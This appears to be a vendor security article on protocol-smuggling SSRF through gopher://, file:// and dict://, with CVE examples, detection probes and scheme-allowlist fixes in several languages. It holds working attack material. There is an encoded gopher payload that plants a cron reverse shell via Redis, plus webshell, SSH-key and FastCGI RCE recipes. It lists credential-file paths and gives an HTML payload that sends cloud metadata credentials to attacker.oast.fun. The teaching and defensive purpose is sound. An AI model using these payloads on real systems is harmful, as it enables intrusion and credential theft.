Uses non-HTTP protocols (gopher://, dict://, file://) to interact with internal services beyond simple HTTP fetches.
TL;DR
gopher:// sends raw TCP, enabling Redis/FastCGI/MySQL attacks from SSRFgopher:// → Redis RCE: inject cron job or SSH key via FLUSHALL + CONFIG SET chainfile:///etc/passwd: reads local files with application process permissions<iframe src="file:///etc/passwd"> in PDF templateshttps:// only) — one check blocks all alternative protocolsProtocol smuggling SSRF exploits a server-side URL fetcher that supports schemes beyond http:// and https://. When the application uses Python urllib, PHP curl, Java java.net.URL, or similar multi-protocol libraries to make the outbound request, an attacker who controls the URL can inject alternative URI schemes that communicate with non-HTTP services.
The impact escalates from information disclosure to remote code execution: gopher:// sends raw TCP bytes to any port, enabling injection of Redis commands, FastCGI protocol messages, or MySQL queries. file:// reads the local filesystem with the application's process permissions. dict:// sends raw text to services like Memcached. These attacks do not rely on HTTP semantics — the server's URL library issues the raw protocol directly to the target service.
Protocol smuggling is classified under CWE-918 (SSRF) because the fundamental flaw is the same — a server making outbound requests to attacker-controlled destinations — but the impact class reaches full RCE rather than just data exfiltration.
The vulnerable code pattern: a URL-fetching library that does not enforce scheme restrictions.
// VULNERABLE — Java HttpURLConnection accepts all schemes
URL url = new URL(userInput); // allows file://, gopher://, dict://
URLConnection con = url.openConnection();
InputStream is = con.getInputStream(); // reads /etc/passwd or Redis response# VULNERABLE — urllib accepts file:// scheme
import urllib.request
response = urllib.request.urlopen(user_supplied_url)
content = response.read() # can read file:///etc/passwd, file:///proc/self/environSupported schemes by library:
| Library | file:// | gopher:// | dict:// | ftp:// |
|---|---|---|---|---|
| Python urllib | Yes | No (removed 3.x) | No | Yes |
| PHP curl | Yes | Yes | Yes | Yes |
| Java URL | Yes | JVM-dependent | No | Yes |
| Ruby Net::HTTP | No | No | No | No |
| Go net/http | No | No | No | No |
| node-libcurl | Yes | Yes | Yes | Yes |
gopher:// establishes a raw TCP connection and sends the URL path bytes as the initial payload. Redis uses a line-oriented RESP protocol — gopher:// can inject valid Redis commands by encoding them as URL path bytes with %0D%0A as the CRLF separator.
# Generate Redis SSRF payload with Gopherus
python2 gopherus.py --exploit redis
# Select: Cron Job
# Attacker IP: 10.10.10.10, Port: 4444
# Output: gopher://127.0.0.1:6379/_<URL-encoded Redis commands>
# The generated payload executes these Redis commands:
# FLUSHALL
# SET 1 "\n\n* * * * * bash -i >& /dev/tcp/10.10.10.10/4444 0>&1\n\n"
# CONFIG SET dir /var/spool/cron/crontabs
# CONFIG SET dbfilename root
# SAVEThe full gopher payload URL:
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0AFLUSHALL%0D%0A%2A3%0D%0A%243%0D%0ASET%0D%0A%241%0D%0A1%0D%0A%2435%0D%0A%0A%0A%2A%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2FATTACKER%2F4444%200%3E%261%0A%0A%0D%0A%2A4%0D%0A%246%0D%0ACONFIG%0D%0A%243%0D%0ASET%0D%0A%243%0D%0Adir%0D%0A%2427%0D%0A%2Fvar%2Fspool%2Fcron%2Fcrontabs%0D%0A%2A4%0D%0A%246%0D%0ACONFIG%0D%0A%243%0D%0ASET%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0ASAVE%0D%0AAlternative Redis payloads:
CONFIG SET dir /var/www/html + CONFIG SET dbfilename shell.php + SET 1 '<?php system($_GET["cmd"]); ?>'CONFIG SET dir /root/.ssh + CONFIG SET dbfilename authorized_keys + SET 1 "ssh-rsa ATTACKER_KEY"Requirements: Redis running without authentication (no requirepass), write permission to the target directory.
PHP-FPM listens on port 9000 (or a Unix socket) using the FastCGI binary protocol. Gopherus encodes a valid FastCGI request into gopher:// format, overriding PHP_VALUE to set auto_prepend_file to an attacker-controlled path — any PHP file on the server is then loaded and executed.
python2 gopherus.py --exploit fastcgi
# Input: /var/www/html/index.php (any existing PHP file on target)
# Output: gopher://127.0.0.1:9000/_<FastCGI-encoded payload>
# The payload sets:
# PHP_VALUE: auto_prepend_file=/proc/self/fd/...
# Executes arbitrary PHP code as www-dataRequirements: PHP-FPM listening on TCP port 9000 (default Docker configuration). Unix socket PHP-FPM requires file write access to the socket path.
file:// reads any file accessible to the application process. High-value targets:
# User and credential files
file:///etc/passwd # user enumeration
file:///etc/shadow # password hashes (requires root)
file:///home/user/.ssh/id_rsa # SSH private key
# Application secrets
file:///var/www/html/.env # Laravel, Node.js dotenv
file:///var/www/html/config.php # PHP database credentials
file:///app/config/database.yml # Rails database config
# Cloud credential chain (Lambda/ECS)
file:///proc/self/environ # env vars: AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY
file:///proc/1/environ # container init environment (often has full env)
# System state
file:///proc/self/fd/3 # open file descriptor (database socket data)
file:///proc/net/tcp # internal network connectionswkhtmltopdf — CVE-2022-35583 (CVSS 9.8): Injecting HTML into a PDF template processed by wkhtmltopdf reads local files via file://:
<!-- Injected into PDF template — reads /etc/passwd -->
<iframe src="file:///etc/passwd" height="500" width="500"></iframe>
<!-- Cloud credentials via process environment -->
<iframe src="file:///proc/self/environ" height="500" width="500"></iframe>
<!-- JavaScript-based metadata exfiltration -->
<script>
var x = new XMLHttpRequest();
x.open('GET', 'http://169.254.169.254/latest/meta-data/iam/security-credentials/', false);
x.send();
document.write('<img src="https://attacker.oast.fun/' + btoa(x.responseText) + '">');
</script>wkhtmltopdf was archived and unmaintained since January 2023, but wrapper libraries (pdfkit, wicked_pdf, KnpSnappy, DinkToPdf) continue to embed it in production applications.
# dict:// — DICT protocol queries to Memcached or other dict-compatible services
dict://127.0.0.1:11211/stat # Memcached stats (version, items, memory)
dict://127.0.0.1:6379/INFO # Redis INFO via DICT (simpler than gopher)
# ftp:// — FTP server interaction
ftp://127.0.0.1:21/etc/passwd # FTP file retrieval (if anonymous allowed)
# ldap:// — LDAP directory queries
ldap://127.0.0.1:389/ # LDAP anonymous bind (directory enumeration)
# tftp:// — TFTP file retrieval (UDP-based)
tftp://127.0.0.1/etc/passwd # TFTP read (if service running)Protocol smuggling is most impactful when combined with knowledge of common internal service ports. Services likely to be reachable from an application server:
| Service | Port | Protocol | Impact |
|---|---|---|---|
| Redis | 6379 | gopher:// | RCE via cron/webshell/SSH |
| PHP-FPM | 9000 | gopher:// (FastCGI) | RCE via auto_prepend_file |
| MySQL | 3306 | gopher:// | File read/write (LOAD DATA / INTO OUTFILE) |
| Memcached | 11211 | dict:// | Cache data read/write |
| Docker API | 2375 | HTTP | Container escape (CVE-2025-9074) |
| etcd | 2379 | HTTP | Kubernetes secrets dump (CVE-2025-33901) |
| SMTP | 25 | gopher:// | Internal email relay (phishing pivot) |
| Elasticsearch | 9200 | HTTP | Full data exfiltration |
CVE-2022-35583 — wkhtmltopdf (CVSS 9.8) — Archived in January 2023 with unpatched critical SSRF. <iframe src="file:///etc/passwd"> reads local files; <script> with XMLHttpRequest reaches http://169.254.169.254/. Still embedded in production applications via pdfkit (Python), wicked_pdf (Ruby), KnpSnappy (PHP), DinkToPdf (.NET). Any application that accepts HTML input and renders PDFs using this library is vulnerable.
CVE-2025-68437 — Craft CMS GraphQL — The saveAssets mutation fetched arbitrary URLs via PHP curl (which supports gopher://). In configurations where Redis ran on the same host as the CMS, an attacker with GraphQL permissions could supply a Gopherus-generated gopher://127.0.0.1:6379/... payload, achieving Redis command injection through the CMS's legitimate asset import feature.
CVE-2018-1000600 — Jenkins GitHub Plugin (CVSS 8.8) — The "Test Connection" feature in the GitHub plugin made server-side requests to attacker-supplied GitHub API URLs. When the Jenkins server ran Bash CGI scripts (common in CI environments), the SSRF → Shellshock chain (User-Agent: () { :; }; /bin/bash -c "...") achieved full RCE. The combination of parameter SSRF and protocol knowledge demonstrates why these attack surfaces should be treated as RCE-class findings.
Gopherus Redis Chain — Bug Bounty Pattern — Internal bug bounty reports (non-public) consistently cite the gopher:// → Redis → cron pattern as the highest-severity SSRF chain. An SSRF finding confirmed on a parameter, combined with Shodan/FOFA showing Redis on port 6379 (no --requirepass) on the same internal subnet, produces a critical RCE with a single gopher URL. This pattern is the reason Redis should require authentication even on internal networks.
file:///etc/passwd as the URL parameter value — if the response contains root:x:0:0: or similar, file:// protocol is supported.dict://127.0.0.1:11211/stat — response containing STAT pid confirms Memcached is reachable and dict:// is supported.gopher://127.0.0.1:6379/_*1%0D%0A$4%0D%0AINFO%0D%0A — a 500/502 response containing "gopher" in the body or an error referencing the Redis INFO command suggests gopher:// is supported.file:///proc/self/environ — if the response contains PATH= or HOME=, local file read is confirmed and AWS/Lambda credentials may be present.# BreachVex protocol detection signals:
# file:// confirmed: status 200 with "root:", "daemon:", or "[fonts]" in body
# gopher://, dict://, ftp:// detected: status 500/502/503 with
# "gopher", "dict", "ftp", "connection refused", or "protocol" in bodyBreachVex's protocol-smuggling detection tests gopher://, dict://, file://, and ftp:// on all confirmed SSRF parameters. The detection is marker-based — protocol names in error responses confirm support even when the target service is not accessible. For file://, specific content patterns confirm read access without relying on error messages.
import urllib.parse
ALLOWED_SCHEMES = frozenset({"https"}) # http only if internal-only traffic
def validate_scheme(url: str) -> bool:
parsed = urllib.parse.urlparse(url)
if parsed.scheme not in ALLOWED_SCHEMES:
raise ValueError(f"Disallowed scheme: {parsed.scheme}")
return True
# This single check blocks:
# gopher://, file://, dict://, ftp://, ldap://, tftp://
# data:, javascript:, vbscript:, blob:
# Any future novel scheme// SAFE — Java: strict scheme validation
import java.net.URI;
public static void validateScheme(String rawUrl) throws SecurityException {
try {
URI uri = new URI(rawUrl);
String scheme = uri.getScheme();
if (scheme == null || !scheme.equals("https")) {
throw new SecurityException("Only https:// scheme is allowed: " + scheme);
}
} catch (java.net.URISyntaxException e) {
throw new SecurityException("Invalid URL: " + rawUrl);
}
}For libraries that support file:// by default, explicitly disable it:
# Python requests — does not support file:// by default (uses urllib3)
# But urllib.request does — use requests instead
# If using urllib directly, apply scheme check before calling:
import urllib.parse
def safe_open(url: str):
parsed = urllib.parse.urlparse(url)
if parsed.scheme == "file":
raise ValueError("file:// scheme is not allowed")
return urllib.request.urlopen(url)// PHP — curl: disable dangerous protocols
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
// This blocks: gopher, file, ftp, dict, ldap, tftp, smb, telnet, ...
curl_setopt($ch, CURLOPT_REDIR_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false); // disable redirect followingProtocol smuggling SSRF is consistently the escalation path from "blind SSRF (medium)" to "RCE (critical)". If you confirm any SSRF on a parameter, immediately test gopher:// and file:// to determine if the fetcher supports alternative schemes. A single confirmed gopher:// → Redis chain changes the CVSS from 7.5 to 9.0+.
Protocol smuggling SSRF exploits URL schemes other than http:// and https:// when the server-side URL fetcher supports them. gopher:// sends raw TCP bytes to arbitrary ports, enabling Redis command injection. file:// reads local files. dict:// queries Memcached. These schemes allow interacting with non-HTTP services from within the server's network position.
gopher:// establishes a raw TCP connection to any host:port and sends the URL path bytes as the initial data. Redis uses a line-oriented text protocol — gopher:// can inject FLUSHALL, SET, CONFIG SET dir, CONFIG SET dbfilename, SAVE commands in the correct RESP format. This writes a cron job or webshell to the filesystem, achieving RCE. The Gopherus tool automates payload generation.
Gopherus (github.com/tarunkant/Gopherus) is an open-source tool that generates gopher:// payloads for Redis, MySQL, FastCGI/PHP-FPM, Memcached, SMTP, and Zabbix. It outputs a ready-to-use URL-encoded gopher:// payload targeting the specified service and attack type (cron job, SSH key, webshell, SQL query).
file:// SSRF reads any file accessible to the application process: /etc/passwd (user enumeration), /etc/shadow (password hashes), /proc/self/environ (environment variables including AWS credentials for Lambda), /proc/self/fd/ (open file descriptors), /var/www/html/config.php (application secrets), /root/.ssh/id_rsa (private keys).
CVE-2022-35583 (CVSS 9.8) is a critical SSRF in wkhtmltopdf 0.12.6 via iframe injection. wkhtmltopdf was archived (unmaintained) in January 2023 but remains embedded in production via wrapper libraries: pdfkit (Python), wicked_pdf (Ruby), KnpSnappy (PHP), DinkToPdf (.NET). Injecting <iframe src="file:///etc/passwd"> into the PDF template reads arbitrary local files.
Python urllib and urllib2 support file:// natively. Java java.net.URL supports file:// and gopher:// on some JVMs. PHP curl supports 30+ schemes including gopher://, ftp://, dict://. Go net/http does not support gopher:// by default. Ruby Net::HTTP does not support gopher://. The attack surface depends on which library the application uses for URL fetching.
PHP-FPM listens on port 9000 using the FastCGI protocol. gopher:// can inject FastCGI-formatted bytes that override PHP_VALUE via auto_prepend_file, loading an attacker-controlled PHP file and achieving RCE. Gopherus generates the payload by encoding the FastCGI binary protocol into gopher URL format. Any PHP web application where FPM runs on a reachable port is vulnerable.
Enforce a strict scheme allowlist: accept only https:// (or http:// for internal-only traffic). This single check blocks gopher://, file://, dict://, ftp://, ldap://, tftp://, and all other alternative schemes. Additionally, validate the port against an allowlist (443, 8443 only for external) and ensure the post-DNS-resolution IP check is in place.